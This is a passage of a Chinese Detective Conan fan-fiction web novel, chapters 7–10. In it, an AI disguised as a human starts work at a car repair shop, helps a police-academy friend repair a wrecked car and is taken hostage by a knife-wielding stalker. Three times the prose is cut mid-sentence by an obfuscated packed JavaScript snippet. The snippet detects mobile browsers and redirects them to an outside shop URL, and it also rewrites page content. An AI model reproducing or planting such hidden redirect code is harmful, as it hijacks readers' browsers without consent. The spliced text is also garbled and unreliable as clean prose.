《在柯学世界当RPG玩家》 7. 现在还没有 【在好心人类的推荐下，得到了第一份工作……人类好。 作为一具机械体来维修其他机械吗？前所未有的体验。 ps：我将遵守公约。…或许？】 ——节选自《人类观察日志·RN0947》 —————— 知原知也抱着猫，一路跟随松田阵平离开了警视厅。 临出大门的时候，他忽然被身后的一道声音叫住。 “——知原先生！” 知原知也顿了顿，回头。 一位头戴小圆帽、身穿一件土橘色风衣的矮胖警官快步向自己这边走来。 知原知也冲他点了点头，很礼貌地打了个招呼：“您好，警官先生，今天天气很好。” 目暮十三上下打量了知原知也一阵，片刻后，笑了起来：“知原先生看上去状态很好。看来那群家伙并没有为难您。” 知原知也点头。 目暮十三松了口气，开了个小小的玩笑：“毕竟您是应我的要求，才会配合警方回到警视厅录取口供和笔录，如果因为这件事导致您遭到任何不公正的对待，那我可就是十恶不赦的罪人了。” 等在前方的松田阵平一愣，回头，看了一眼面色如常的知原知也，又看看面带笑容的目暮十三，嘴唇微动，然而下一刻，不知想到了什么，竟将到嘴边的话生生咽了回去。 “哪里。您太客气了。” “说起来，知原先生，您刚才……” 在轻松友善的氛围下，两人很快交谈起来。 时间一分一秒过去，警视厅大楼门前，不断有执勤回来的警官带着各种或痛哭流涕、或心如死灰的奇行种嫌疑人返回这里。 松田阵平等的有些无聊，目光从打盹的肥猫身上移开，转到猫主人的脸上。 …… ——也不知道这家伙的体质到底是什么样的怪物。 望着对面那个精神饱满、活蹦乱跳的家伙，松田阵平忍不住咋舌。 他还记得五天前，自己和好友一起把人扛到医院急诊科时，对方那浑身是血、呼吸心跳全部丧失的安详模样。 当时现场极其惨烈，昏迷中的知原知也右腕不断往外淌血，胸口也有大片血迹不断洇开，不祥的殷红浸透了对方的浅色外套，连带把人弄到医院来的松田阵平和萩原研二的身上，都被喷溅上大片触目惊心的红。 急诊科值班医生一看见红通通血淋淋的三个人闯进大门，当场惊得瞳孔地震，一个弹射起步，瞬间闪现到了三人跟前。 一边指挥护士把人弄进急救室准备抢救，值班医生一边用看嫌疑犯的怀疑眼神上下打量松田阵平和萩原研二…… ——不出意外的话，医生想必是打算当场报警的。 不过，经过萩原研二一顿好说歹说加软磨硬泡，一直到最后看过了两人警校生的证件之后，医生这才放过他们，转头冲进急救室。 然后，急救室红灯亮起，两人在门外焦急等待。 松田阵平原本以为，按照那家伙恐怖的失血量，这场抢救应该会持续好几个小时。然而，仅仅只过去两个小时不到，刚才还一脸看杀人凶手一样瞪着松田阵平和萩原研二两人的医生，就戴着口罩，心事重重地出来了。 身为肇事者的萩原研二很忐忑，见状，立刻凑了上去，想询问关于这位无辜被砸的倒霉路人的情况，然而下一刻，他就得到了医生相当不满的谴责。 “——胸口位置存在擦挂伤，手腕大动脉更是差一点就被切断了……你们这些做家属的到底是怎么搞的？病人怎么会受这么重的伤？” 萩原研二一听这话，吓了一跳：“那、那他现在没事吧？” “胸口的伤距离心脏还远着呢，创面也不大，没什么大问题。倒是右手手腕的伤，还差一毫米就伤到了大血管，也幸亏病人运气好，伤口创道狭窄，经脉肌腱什么的都没有什么不可复原的永久性损伤，只要之后好好修养，没什么大事。” 真的没什么事吗…… 回想起一路上对方那堪称恐怖的失血量，萩原研二欲言又止。 松田阵平也有点没反应过来，迟疑问：“呃……那家伙现在怎么样？脑袋没有磕坏吧？” “脑袋？” 医生瞪他一眼，突然一叉腰，非常生气地对着病人家属指指点点： “——你们这样的家属我见多了！不要动不动就把手腕受伤归咎于割腕啊自杀啊什么的，然后随随便便臆想出来人家脑袋出了问题、想方设法把人送进精神病院啊！我告诉你，病人只是手腕受了点轻伤，和割腕什么的根本没有关系！和精神类疾病当然更没关系！他的脑子很好，一！点！问！题！都！没！有！！！听清楚了吗？！一点问题都没有！！！” 明明什么都没做，但莫名其妙被喷了个狗血淋头的松田阵平：“……” 他悻悻选择了闭嘴。 再然后就是，为了方便有人留守病房看护病号，两人简单商量了一下，决定一人留守在病房，另一人则换着班趁夜翻墙回宿舍洗漱，顺便换掉身上那件血淋淋的常服衬衫。 天快亮时，独自一人蹲在盥洗室的水池边鬼鬼祟祟搓洗两人血衣的松田阵平，当场就被起夜的降谷零抓了个正着。 降谷零知道了，那么身为降谷零幼驯染的诸伏景光就会知道；诸伏景光都知道了，那么和几人宿舍相距不远的班长伊达航也就顺理成章地知道了…… 于是。 ——天亮之前，干坏事被抓包的松田阵平垂头丧气，带着三位冤种同期，再一次翻越围墙，领着人，进到了某个被翻墙失败的幼驯染一屁股创晕的小倒霉蛋的病房里。 那个时候，看医生那吹胡子瞪眼的姿态，松田阵平还以为自己进入病房后，会看到一个弱不禁风、病气缠身，非常容易博取人好感和同情心的脆皮小可怜…… 结果！ 谁知等他们从医生办公室回来之后，撞见的，就是一个扯歪了针还不自知、歪着脑袋就那么眼睁睁看手背血管滋滋窜血的混球！ 一瞬间，松田阵平感觉自己的拳头硬了。 …… 不过，虽然某人的情况复杂棘手到令人血压飙升，但不得不说——从浑身是血呼吸微弱、连夜抬进抢救室，到活蹦乱跳出院，知原知也仅仅只用了五天时间…… 区区五天！ 仅仅五天！！ ——甚至于，要不是那位医德充沛的风户医生为防万一、强行把人留院观察，知原知也在第二天其实就可以健康出院！！ ……这合理吗？？ 这真的是正常人类自愈水平能达到的程度吗？？！ 知原知也该不会是什么掌握了治愈能力的超能力者吧？或者是什么人体基因编码工程制造出来的生物武器？ 还是说，米花药师野医院已经悄悄掌握了什么能一秒修复伤口、做到活死人肉白骨的高精尖医疗黑科技？ 松田阵平忍不住脑洞大开地想。 但…… 不管怎么说。 眼下，“警校生深夜翻墙外出，砸死无辜路人”的误会已经解除，对方现在也已经伤愈出院。 那么接下来，他就只需要送佛送到西，把人安全从警视厅里捞出来后、再顺便把人护送回到自己家里…… ——这件事就与他和hagi没关系了！ 心间大石头总算落了地。 想到这里，松田阵平总算感觉，自己隐隐作痛的脑仁，和活蹦乱跳的良心，都不约而同地稍微平复了些许。 一直等到两人的交谈、不，主要是目暮十三单方面的输出结束之后，他这才扬声，懒洋洋道：“你还打算在这里呆多久，知原？走了。等下陪你把东西送回去之后，我还有其他事。” 被cue的知原知也歪头看了松田阵平一眼，点了点头。 友善礼貌地和这位热心警官挥手道别，知原知也抱着猫，拎着自己的小包，乖乖跟着松田阵平一起走出了警视厅。 …… 一路无话。 半小时后，中午一点，警校大门外。 “……总觉得好像有哪里不太对劲？”松田阵平眉心拧紧，摸了摸下巴。 下一秒，他猛一扭头。 ——对上了一双安静木呆的异色瞳孔。 松田阵平：“……” 松田阵平：“…………” “——你怎么还跟着我？！” 知原知也眨了眨眼，明显也愣了一下。 他思考一阵，有些不太确定地反问：“不是你让我跟你走的吗？” “……” 对方疑惑的眼神实在太过清澈，松田阵平只觉两眼一黑。 “——我让你跟我走，只是让你跟着我离开警视厅啊！！” 此时恰好有巡逻教官在附近路过。 前几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595860|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才刚因为半夜翻墙吃了个处分、打扫澡堂时间无限期再次后延，就算现在的松田阵平手握正当请假条，他觉得，自己也暂时不想和这几位神勇无比的巡逻教官面对面碰上了…… 这么想着，松田阵平猛的一把揪住知原知也的衣领，把人拖到茂密的绿化带里，等巡逻教官走后，这才转头，没好气地问：“你没有自己的家吗？你回你自己的家啊，跟着我干什么！” 知原知也歪头。 怀里的猫咪也跟着一起歪头。 一大一小两双清澈又愚蠢的眼睛就这么直勾勾地看着松田阵平，一瞬间，令松田阵平恍惚之间产生了某种苛责笨蛋的负罪感。 知原知也摸了摸猫咪小姐的脊背，沉吟片刻，有些歉意地说：“不好意思，我之前没有理解您的意思。我现在就离开。” 松田阵平：“……” 这么没脾气的吗…… 突然感觉良心好痛是怎么回事？ 按了按青筋直跳的额角，松田阵平深吸一口气：“我不是——算了！反正这会儿也快到午休时间了，不急着回去……你家在哪？我送你回去。” 知原知也低头看猫。 猫抖了抖胡须，睁着圆圆的猫眼疑惑看他。 于是知原知也就懂了。 他抬起头，一五一十道：“现在还没有。” “……？你刚才说什么？”忙了一早上晕头转向的松田阵平，这一刻还以为自己耳鸣听错了。 对方既然提问了，身为引导者，知原知也就不能不回答。 他于是又将自己的回答重复了一遍：“我刚才是在说，我目前暂时还没有家。” 松田阵平：“——！！” 地崩山摧！ 山呼海啸！ 震惊感和愧疚感逆流成河！ 松田阵平努力稳定自己的情绪，半晌后依然有些不敢置信地问：“你的意思是说……你现在无家可归？” ——一个疑似脑子不太正常、身体也不太正常，柔弱脆皮到随便一砸就原地躺尸昏厥送急救室的倒霉蛋，现在居然惨到连家都没有的地步了吗？！ 松田阵平简直不敢相信自己的耳朵。 被质疑的知原知也不明所以，但还是点了点头。 暂且按住扑腾不止的良心，松田阵平尤不死心，追问：“那你的工作单位在哪？公司在哪？” “也没有，”知原知也很有耐心，就像对待刚进游戏后问东问西的新手玩家那样，尽可能用游戏原住民npc能理解的语句耐心为对方解释，“因为还没找到我想要找的人的关系，所以我目前仍然处于待机状态，并没有进入工作。” ——居然连工作都没有！ 该不会是无良社长因为嫌弃这家伙脑子不好身体也脆皮，三天两头生病请假，干脆直接就把还在病中的员工开除了吧？！ 这么一来，知原刚才说的“要找的人”…… 该不会就是那个开除了他的无良社长吧？！ ——一瞬间，松田阵平感觉自己仿佛预见了未来。 浑身是血、脸上挂着崩坏微笑的知原知也，手里拿着一把之前用来割腕的水果刀，一步一步逼近满脸惊恐的无良社长，举起刀，嘴里轻声呢喃着“请你去死”，然后一刀，贯穿了对方胸口…… ……不不不！ 达咩！ 那种事情不要啊！ ——米花町本就已经超标的犯罪案件总数，绝不能因为那个人渣再创新高！！ 这么想着，松田阵平眼底忽然燃起了一把熊熊的烈火。 他像是下定了某种决心，猛的一把攥住对方的手腕，抓着人就往警校反方向走。 知原知也：“？” 但还是什么都没问，老老实实抱着猫跟着人走了。 …… 一个小时后。 穿着一身崭新干净的工作服，知原知也有些呆滞地一格一格低下头，和满脸笑容、眼神莫名慈爱的修车店老板四目相对。 “知原先生？” 修车店老板安抚地拍了拍新员工的手臂，表情慈祥，语气轻柔，将一把沾着机油的扳手递给了对方：“松田君还是第一次给我推荐员工呢~好好干，薪水什么的都不用担心，你是松田君的朋友，阿叔我一定不会亏待你的！员工宿舍我等会就带你去！” 知原知也握着扳手，想了想。 “……谢谢？” 8. 知原修理工，出击！ 对于修车店的工作，知原知也表示适应良好。 作为店里很多年没有招募过的新员工，知原知也在下午穿好工作服准时来到店里后，立刻就收到了老员工们的瞩目。 “——哦！是新人啊！沢田老爹终于舍得招人缓解一下我们的工作压力了！” 伴随着话音一起落下的，是一只粘着机油的粗糙大手。 知原知也转身，顺着搭在自己肩头的大手看去，就见一个满脸络腮胡子的中年男性，正冲自己滑稽地挤眼睛。 “……” 知原知也想了想，也回了个友善的三像素点微笑：“您好，我叫做知原知也，请多关照。” “知原啊……”男人打量了一下知原知也，问，“你看起来很年轻啊……二十几？” “26。” “哎——？！这么年轻啊！”很快，又有几名人类凑了过来，围着知原知也来回打量。 这些人类很热情，呼啦一下团团围住知原知也，对着他问东问西，似乎对知原知也的身份十分好奇。在面对发色和眸色明显异于常人的知原知也时，他们也都没有露出任何奇怪的眼神。 ——是一群很好相处的人类啊。 知原·AI伪装人类·知也松了口气。 沢田店长这时也从外面进来了，指着店里的四人，一一向彼此介绍。 “这位是知原知也，新员工，身体不太好，大家多担待。知原，这是三木，这是中山，这是富江，都是你的老前辈了，知原在工作中如果遇到什么问题，都可以向他们请教，大家都是很好说话的哦！” 知原知也点头表示了解，随后一一同三人打过招呼。 寒暄过后，大家很快便各自投入了自己手头上的工作中。 ——知原知也这还是第一次以玩家的身份进入副本。 或许是看在他第一天入职的情况下，大家都没有给新同事安排接下来的任务，而知原知也左右看了看，见大家手里都有正在进行中的工作，并且一副专心致志、并不方便自己出言打扰的样子，于是只好老老实实收回了即将问出的询问话语。 芯片飞快运转一阵，知原知也根据算法给出的最优解，自己主动站到了店门口，决定等待接下来进店的客人给自己委托工作。 …… 时间过得很快。 一直到当天下午6:40分时，店里这才迎来了一位眼熟的新客人。 “知——原——君——” 上翘的尾音，拖长的语速…… ——几乎不需要眼睛去看，知原知也就已经凭借这极具辨识度的声音，迅速识别出了来人的身份。 放下手里的《常见汽车零件维修指南》，知原知也抬眼：“萩原，下午好。今天天气不错。” 刚刚下训的萩原研二笑眯眯，探头凑到新朋友面前：“知原君在看什么？” 知原知也将书封翻给他看。 “噢——”萩原研二歪头看一眼书名，小海豹鼓掌，“一来就看这么难的内容，知原君超级棒哦！如果有看不懂的地方，知原君也可以问我，研二酱在这方面可是很厉害的~” 这么说着，萩原研二非常骄傲地冲自己比了个大拇指。 “没有。” “哎？好冷漠……” ——被npc指责服务态度不友好了！ 知原知也当即大惊失色。 ——想要在有限服役期内被主脑召回引导者序列，就绝对不可以因为服务态度而被投诉扣分！ 惊慌失措的被投诉AI于是紧急搜索数据库。 片刻后，眉眼不动，知原知也裂开嘴角，露出一个大大的、“热情”的笑容，将自己被投诉的话语变更语气与神态，又重新复述了一遍： “——我说，没有问题哦~” 萩原研二：“……！！” 好、好可怕的表情…… 难道刚才研二酱说错什么话，不小心冒犯到刚认识不久的新朋友了吗QAQ…… 一位萩原同学垂头丧气，并瑟瑟发抖。 对于萩原研二的惊恐，认真按照资料修正自己微笑弧度的知原知也完全没有注意到。 ——资料库里说，人类的笑容不能长时间保持，这样或许会让一部分社交距离感强的人类感觉到不舒适。 快速记住这条重要知识点，知原知也在确定自己热情的服务态度有被好好传递给这位萩原同学后，满意地收敛了笑容。 他重新回到了原本面无表情的冷漠状态。 熟悉的冷脸小伙伴回归，萩原研二长松了口气。 回想起自己过来这里、除了探望小伙伴之外的目的之二，萩原研二就感觉有些麻爪。 他看一眼自家正空闲的小伙伴，又看一眼店里大家各自忙碌的背影，想了想，凑近几步，小声问：“哎，那个……知原君，你们店里，能修车吗？” “？” 知原知也低头，看了看自己工作服胸口纹绣着的【沢田修车行】的字样，又看了看手里那本《常见汽车零件维修指南》，想了想，有些不确定道：“我们……不能吗？” “啊……我不是这个意思啦！” 萩原研二肩膀一垮，一转身和小伙伴一起靠到了前台柜台上，揪着头毛，长吁短叹。 “哎……” 知原知也翻过一页书。 “哎……” 知原知也盯着刊印模糊的示意图，想了想，拿过柜台上的原子笔，在上面添了几笔标注。 “哎……” 知原知也合上了书。 “——发生什么事了，萩原？”知原知也转过头，非常认真地询问，“有什么是我能够为您服务的吗？敬请吩咐。” 萩原研二慌忙摆手：“不是不是、我不是这个意思！我是想说——唉，算了……” ——人类又开始撕扯头毛唉声叹气。 知原知也想到了对方之前的问题：“萩原是想要修车吗？” “昂……” “或许我可以帮忙。” “嗨嗨，我知道了，不会打扰知原君工作的……等等、你刚才说什么？” 上一秒还垂头丧气、长吁短叹的萩原研二，在捕捉到关键词后，瞬间支棱了起来。 “我说，修车的话，我可以帮忙。” 知原知也的语气是一如既往的平静宛如死水。 萩原研二看看对方言简意赅、面无表情的冷酷模样，又看看对方明显崭新的工作服和手里捧着的新手入门维修指南，很快回想起幼驯染下午对自己说的话。 ‘——为了防止那家伙成为社会不稳定分子之一，我托关系，给那家伙找了个暂时能够安顿下来的工作。’ 所以说，知原君是今天下午才刚入职的啊…… 一瞬间，萩原研二明显意动的表情，又再次变得犹豫了起来。 “嗯……倒也不是不信任知原君的能力，”萩原研二小心翼翼组织着措辞，“就，因为这辆车是我一位长辈很重要的朋友的遗物，所以……” “理解。” 知原知也点了点头，没有多说什么，低头翻书。 萩原研二见状，松了口气。 顿了顿，他像是仍然担心伤害到小伙伴的自尊，很快又组织好了语言，试探性地开口：“那个，知原君如果不介意的话，刚好我的手表在前段时间的便利店事件里遭到磕碰，指针目前完全停摆了……虽然这并不是什么很值钱的东西，但毕竟是随身佩戴了好多年的贴身饰品，所以想说如果知原君有时间的话，能不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595861|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻烦你稍微帮忙检查一下呢？” 异色的双瞳从书中抬起，知原知也定定看向萩原研二。 太过直白的注视让萩原研二一瞬间语塞，他哽了哽，随即绞尽脑汁想借口：“啊、那个那个……如果是之前的话，我大概也是可以尝试自己进行修理的，但是前段时间很不巧，手指在训练时不小心擦伤，恐怕很难进行精密作业……” 蔚蓝色的瞳孔深邃，透明色的瞳孔纯粹。就在这样彼此矛盾、又意外融洽的诡异双瞳里，萩原研二看见了倒映着的，一个眼神闪烁、支支吾吾的自己。 “受伤。” 知原知也那只透明的左眼眼底，似乎微不可察地闪过一抹微弱红光。紧接着，他很肯定地回复对方：“手指数据良好，目前没有感染破伤风的风险。” “……” “……” 萩原研二一瞬间垮下了肩膀，眼底浮起一抹毫不掩饰的沮丧和谎言被拆穿后的尴尬。 时间一分一秒流逝。 下班时间很快到了。 就在萩原研二几乎以为对方不会再理会自己的时候，他听见身边传来一声声含笑的招呼声。 “——知原君，下班了哦！明天见！” “——你和萩原也认识吗？哈哈，怪不得松田那家伙会带你来这里，看来你们私底下交情很不赖啊！” “——知原君准备好了吗？明天要不要来跟我一起学习你简单的发动机修理？放心，前辈我一定会倾囊相授的哦？哈哈哈！” 前辈们陆陆续续下班，路过杵在店门口的两人时，都自然而然地朝两人展露了自己的善意。 知原知也不太擅长应对人类如此纯粹而不掺杂一丝目的性的善意。他于是几乎有些手忙脚乱地挨个回答，挨个同对方寒暄道别，然后目送对方离开店里。 一直到送走最后一个同事后，知原知也微不可察地松了口气，转身，从柜台上拎起了自己的小包。 “走吧。” 萩原研二：“……哎？” 知原知也看了一眼呆站在原地、一副看上去不太聪明的样子的命名者，耐心很好地单手撑住即将落下的卷帘门，招招手，示意对方出来：“带我去看看那辆车。” 萩原研二一脸懵逼地走出了店门外。 知原知也关灯、断电、拉门、锁门一气呵成：“刚才是工作时间，您不信任且不愿意雇佣一位新人修理工是很正常的，可以理解。但现在是私人时间。” “——我想，如果我以朋友的身份，和萩原一起去看看那辆车，应该没什么问题吧？” 这是知原知也第一次尝试说出这么一长段文字。 知原知也摸了摸自己的嘴角，将以上发言归结于“需要好好维持人类玩家的身份”一事上，并且对于自己刚才所进行的掩饰性工作，自我感觉十分良好。 萩原研二至此仍然有些反应不过来。 他一头雾水，但对上那双奇异的眼睛时，还是没拒绝给小伙伴带路。 直到两人转进警校附近的车库中。 看着那台震撼亮相的半报废马自达……萩原研二终于有些绷不住了。 他开始尴尬地看天看地，并胡言乱语。 “啊、哈哈哈哈……没错，就像你看到的这样……出现这种情况我其实也是不想的嘛……呜呜呜知原君，可怜的研二酱可能会成为第一个因为‘破坏教官私人车辆’的原因被狠狠开除出警校的典型反例了呜呜呜呜……” 知原知也：“……” 他感觉自己应该同情。 但，一时间…… 知原知也也不知道，自己是应该先同情，这台理论上和自己勉强算半个同类的半报废马自达，还是先同情这位将上司爱车嚯嚯成这个样子的萩原同学了。 9. 挟持 沉吟片刻，知原知也决定放过抱住超大只的自己、蹲在车边顾影自怜的命名者，转过身，绕着这两战损版马自达慢慢转了一圈。 萩原研二哭得真情实感。 “——呜呜呜，研二酱可能要被退学了，退学之后就要去找工作，可是现在泡沫经济下的工作这么难找，就业市场又这么差劲……” 一想到小伙伴这么酷炫霸气帅炸天的外形条件，现在却在做着最朴实无华的修车工这样的一份职业，甚至在一天前还深陷于无业游民的窘境之中……萩原研二一哽，对于日本目前的就业市场顿时更加绝望了。 “呜呜呜呜呜怎么办啊知原君，研二酱要养活不起自己了！呜呜呜呜呜以后研二酱失业在家，就只能去蹭身为警察的小阵平的家住、然后找知原君蹭一日三餐了呜呜呜……” “可以的。” 知原知也探头，非常认真地承诺。 “——呜哇！！” 一个脑袋忽然从战损版马自达的驾驶座里横着冒了出来，距离之近、刷新之突然，吓得蹲在车门边嘤嘤嘤抹眼泪的萩原研二一个激灵，假哭声骤止。 “啊啊、知原君你什么时候钻进车里去的？吓我一跳哎！！” 知原知也擦了把脸上沾着的机油和灰尘，一挺腰，很快又以一个萩原研二绝对意想不到的角度从车里钻了出来。 “车子没问题，能修。” 萩原研二闻言，心中顿时一宽。 ——太好了，不用因为破坏教官私产被警校退学、然后被迫失业去小伙伴家蹭吃蹭喝了！ 知原知也晃晃脑袋，抖落发顶灰尘：“如果只需要让它尽快恢复使用、不介意外形变化的话，下周就可以。但，如果需要让车子恢复原本的配置话……” 一撮呆毛支楞八翘在头顶摇摇晃晃。 知原知也想了想，还是从现实条件出发，一五一十陈述：“除了玻璃和车门，还有一些重要部件都出现不同程度的损毁。如果要一比一还原之前的性能和外观，恐怕需要调一些原厂配件来修补。” “……” 萩原研二伸手扶了一把小伙伴，等对方站稳后，略微迟疑，谨慎开口：“不介意外形变化的话，是怎么个变法？” 知原知也短暂思索。 “你，开过机甲吗？” ——能脸抗粒子炮、手撕舰载机，推进时自带马赫环的那种。 萩原研二：“……” 萩原研二强颜欢笑：“啊，那、那这样的话……我还是觉得恢复一下原本的车辆配置会比较好……” ——车子交给自己的时候还是车，还回去的时候就变成高达了，这搁谁身上受得了？ 总觉得车子在被交还给鬼冢教官的一瞬间，自己就会被教官当场物理超度了QAQ…… 知原知也点头，表示了解，随即接入网路，快速搜索了一下原厂配件的价格，很快给萩原研二报了个价。 萩原研二：“……” 萩原研二：“…………” “——没关系，车险能报。” 知原知也善意提醒。 萩原研二抹了把脸，感觉自己笑不出来。他虚弱地靠在小伙伴肩膀上，哽咽道：“谢谢你啊，你真是个好人，知原君……” …… …… 等到和命名者确定完车辆修理细节后，知原知也挥别萩原研二，独自踏上了回宿舍的路。 虽然说是宿舍，但那其实是沢田店长自费给知原知也租住的一间小公寓。 考虑到知原知也携带的猫咪的关系，在寻找符合要求的公寓的时候，沢田店长还特意加上了“宠物友好”这一条件。 夜色喧嚣。 霓虹闪烁。 行走在人声鼎沸、车辆川流的东京街头，知原知也转动目光，对自己看见的每一样事物都很新奇。 和小伙伴们欢笑追逐的孩子…… 夹着公文包，满脸疲惫且行色匆匆的年轻人…… 还有彼此搀扶、白发苍苍却满脸微笑的老人…… 红灯亮起，知原知也站在人行横道边，一把拉住了某个差点被身旁大人撞下路台边的小女孩。 “——小心。” 他说。 “兰！” “小兰！” 两道小身影飞快钻出人群，直扑知原知也这边而来。 扎着明黄发箍、留着一头波波短发的小女孩跌跌撞撞冲到知原知也身前，一把拉过知原知也手里牵着的小女孩，抱着对方就呜呜大哭了起来。 “呜呜呜！小兰你吓死我了！你差一点点就被刚才那辆车撞到了！！” 被叫做小兰的小女孩也吓得脸色苍白，但此刻还勉强算是镇定，抱着自己的朋友小声安抚了起来。 随后跟来的男孩没有说话，只是转过目光，用那双清澈的、湛蓝的，仿佛高天湖泊一般明净的眼睛，静静观察着人群。 片刻后。 绿灯亮起。 刚才的小插曲并没能引起太大的骚动，人们绕开前方的一大三小，如同攒动的潮水，摩肩接踵朝着马路对面汇聚而去。 “哥哥。” 知原知也感觉自己的衣角被人拉了拉。 低下头，他对上了那双如湖泊般清澈的眼。 “你好，今天天气、啊，今天夜色不错，”知原知也伸出手，很友善地冲对方晃了晃，“害怕过马路？需要牵着你吗？” “……” 男孩的额角浮上一排黑线。 他摇了摇头，没有去牵对方的手，只是拉过身边的小伙伴，随同人流，一起缓慢往前。 “哥哥，拜托你，一定要盯住身后那个穿红色上衣的男人。”行至途中，男孩忽然压低声音，这么对知原知也说。 知原知也脚步顿了顿：“好的。” “……你都不问问为什么吗？”男孩有些费解地抬头看他。 知原知也也低头看向他，想了想，伸手，按了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595862|187445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按对方脑袋瓜：“幼年体享有特权。你需要帮助，而我可以提供帮助。这就够了。” 男孩：“……” “真是个奇怪的大人……”他忍不住小声嘀咕。 很快。 交织的人潮彼此分散，红绿灯倒计时逐渐归零。 高耸在路边的信号灯开始频繁闪烁。 知原知也脚步依旧不紧不慢。 他走的很慢，渐渐落在了过马路的人群最末尾，此刻距离路边的人行横道只有一步之遥。 因为身高实在过分优越，知原知也高大的身躯，轻而易举就将身后的那个红色外套的男人严严实实阻挡在了身后。 红色外套男几次试图越过知原知也跨上人行横道，但努力了几次后，都以失败告终。 “——走快点啊、前面的！红灯亮了，车子马上就要过来了！” 他凶狠地推搡了一下挡在前方的知原知也。 知原知也纹丝不动。 此刻聚集在一起穿越马路的人群已经散去，知原知也的身边，除了那三个小孩，就只剩身后的红衣男人了。 “不好意思，”知原知也转过身，左腕一抬，手掌瞬间如铁箍般紧紧攥住了对方挥向自己的拳头，“请保持冷静，这位嫌犯先生——我想您需要向这位差点被您撞倒的小小姐道歉，在您被警官们带走之前。” “哈？你在说什么鬼——你报警了？！” 知原知也没说话，反而是跟在知原知也身边的男孩立刻抬起手，露出手里那只显示“已结束通话”的翻盖手机。 “——你一直在尾随前面那个穿白裙子的姐姐吧？你的右手一直揣在口袋里，是因为那里面藏着一把水果刀，对吧？我已经报警了，警察很快就会过来，在警察到来之前，你别想再伤害那个姐姐！” 红衣男先是一怔，随后表情立刻变得凶恶了起来。 他先是恶狠狠瞪了一眼躲在知原知也大腿后瑟瑟发抖的两个小女孩，随即手臂用力，试图抽走自己手被对方控制住的右手，随机抓取一个幸运小女孩当做人质。 ……失败了。 知原知也铁箍般冰冷有力的手掌纹丝不动，依旧死死贴在他的手腕上。 红衣男人努力了几次都没有结果。 在看见好奇人群逐渐朝这个方向簇拥、听见不远处的街区响起警笛声后，红衣男人眼神一狠，当机立断，迅速放弃了挟持离自己稍远些的孩子，立刻将人质目标改换成了眼前这个年轻男人。 呼！！！ 劲风扑面！一股大力猛然袭来！ 砰——！ 眼前一花，知原知也感觉到——上一秒还在拼命挣脱自己束缚的红衣男，这会儿突然借着自己控制自己的力道往自己怀里一靠，紧接着，迅速将一把冰冷的尖刀架到了自己颈侧。 噌——！ “别动……” “不然，杀了你。” 冷冰冰的声音，在知原知也的耳边缓缓响起。 10. 薛定谔的记忆卡 【人类死了……好脆弱。 人体血液很烫，我的机体好像出现了某种故障……滋滋……陌生数据流、滋滋……清除……滋滋滋……】 ——节选自《人类观察日志·RN0947》 —————— 雪亮的刀光划过长夜，短暂照亮了知原知也的眼睛。 “啊——！天呐，他有刀啊！！！” “该不会是什么变态杀人犯吧？！好可怕……” “快报警！！那家伙绝对会杀人的！！！” 人群发出尖叫。之前被知原知也护在身后的三个人类幼年体也吓得小脸惨白，扑腾着小短腿就要往自己这边冲过来。 “——大哥哥！你没事吧？” “——喂、你不要伤害人质！警察马上就过来了！！” “别过来……都别过来！否则我杀了他！！！” 红衣男情绪激动极了，架在知原知也颈侧的刀尖因为情绪起伏不断颤抖，口中不断发出神经质的喃喃自语：“有理酱，为什么一定要离开我呢……我们的感情不是一直都很好吗……你明明是爱我的，为什么一定要甩了我……为什么要抛弃我……为什么要离开我……” 人声鼎沸，人群攒动。 一众或惊恐、或震惊的陌生面容中，有一个白裙女人，在听见这话的瞬间，脸上瞬间涌上一抹不可置信，紧接着满脸惨白，表情瞬间转化至绝望。 她的身形忽然摇晃起来，整个人看上去摇摇欲坠。 白裙女人的身材其实并不纤细柔弱。 从裸露的手臂和小腿上展现的结实线条能够看出，她应该是那种经常健身或者运动，拥有强健体魄的健康型人类。 可此刻…… 遥遥望向纠缠在一起的红衣男人和知原知也，女人的脸上，浮现出某种极其复杂的神情。 痛苦与懊悔交织，爱恋与怨恨缠绕。 她浑身肌肉绷得很紧，但那具结实有力、原本如风中白杨般挺拔的身躯，却在那种情感的激烈拉锯中，仿佛耗尽全部力气，在夜色中踉跄，仿佛随时会在夜色中轰然倒塌。 她原本应该是强壮的，有力的，像荒野上率领族群奔逐游猎的雌性狼王，无所畏惧，高傲野性。 可此刻，她却在目睹仿佛被逼入绝境、困兽犹斗的伴侣之后，一下子丧失了所有搏杀的勇气，放弃抵抗，一如身上那件单薄苍白的白色连衣裙，在夜色的吞噬与倾轧下，浑身战栗，绝望颤抖…… 身后，是崩溃嘶吼的红衣男人。 身前，是哀恸颤栗的白裙女人。 